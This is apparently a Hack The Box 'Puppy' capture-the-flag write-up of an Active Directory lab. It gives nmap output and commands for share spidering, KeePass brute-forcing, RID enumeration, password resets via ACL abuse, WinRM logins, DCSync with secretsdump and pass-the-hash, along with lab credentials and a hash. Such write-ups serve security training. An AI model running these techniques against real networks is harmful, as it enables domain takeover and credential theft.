Enumeration#
# Nmap 7.95 scan initiated Mon May 19 09:44:05 2025 as: /usr/lib/nmap/nmap --privileged -A -p- -oN scan 10.10.11.70
Nmap scan report for 10.10.11.70
Host is up (0.023s latency).
Not shown: 65512 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-19 14:46:41Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49685/tcp open msrpc Microsoft Windows RPC
56853/tcp open msrpc Microsoft Windows RPC
56893/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-19T14:48:34
|_ start_date: N/A
|_clock-skew: 6h59m59s
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 22.61 ms 10.10.14.1
2 22.63 ms 10.10.11.70
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 19 09:49:16 2025 -- 1 IP address (1 host up) scanned in 310.64 secondsUser flag#
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james / KingofAkron2025!

I find the DEV folder, let's try to access
smbclient \\\\10.10.11.70\\DEV -U "levi.james"
A Keepass kdbx file is present
Download all files on every open shares
nxc smb $IP -u $USER -p $PASSWORD -M spider_plus -o SHARE=* DOWNLOAD_FLAG=True
Try to crack the keepass password, keepass2john give me a error message 'File version '40000' is currently not supported!' so i use keepass4brute, this tools support the version 40000
./keepass4brute.sh ~/Pentesting/HTB/Puppy/recovery.kdbx /usr/share/wordlists/rockyou.txt
The password is liverpool

Get every AD users
nxc smb puppy.htb -u $USER -p $PASSWORD --rid-brute | grep "SidTypeUser" | awk -F '\\' '{print $2}' | awk '{print $1}' > users.txt
ant.edwards:Antman2025!
nxc ldap 192.168.210.11 -u 'marcus' -p '!QAZ2wsx' --bloodhound -c all
bloodyAD --host $IP -d PUPPY.HTB -u Ant.Edwards -p 'Antman2025!' get writable --detail | grep -E "distinguishedName: CN=.*DC=PUPPY,DC=HTB" -A 10
Ant.Edwards has Write rights on Adam.D account.
rpcclient -U 'puppy.htb\Ant.Edwards%Antman2025!' $IP
rpcclient $> setuserinfo2 ADAM.SILVER 23 Password123*or
bloodyAD --host "$DC_IP" -d "$DOMAIN" -u "$USER" -p "$PASSWORD" set password "$TargetUser" "$NewPassword"src : https://www.thehacker.recipes/ad/movement/dacl/forcechangepassword#forcechangepassword
evil-winrm -i $IP -u 'adam.silver' -p 'Password123'cat the user flag on his Desktop
Root flag#
I find an intresting Backups folder in the C:\ folder, download the site-backup-2024-12-30.zip file\ 
Unzip the file and find an instresting password

steph.cooper/ChefSteph2025!
We are now able to DCsync
impacket-secretsdump 'steph.cooper_adm:FivethChipOnItsWay2025!'@$IPevil-winrm -i $IP -u 'administrator' -H 'bb0edc15e49ceb4120c7bd7e6e65d75b'Techniques utilisees#
- BloodHound
- AD enumeration
- Exploit SMB
- Exploit Winrm
- Netexec
- Credential Hunting in Network Shares
- Exploit NTDS.dit
- Grant Ownership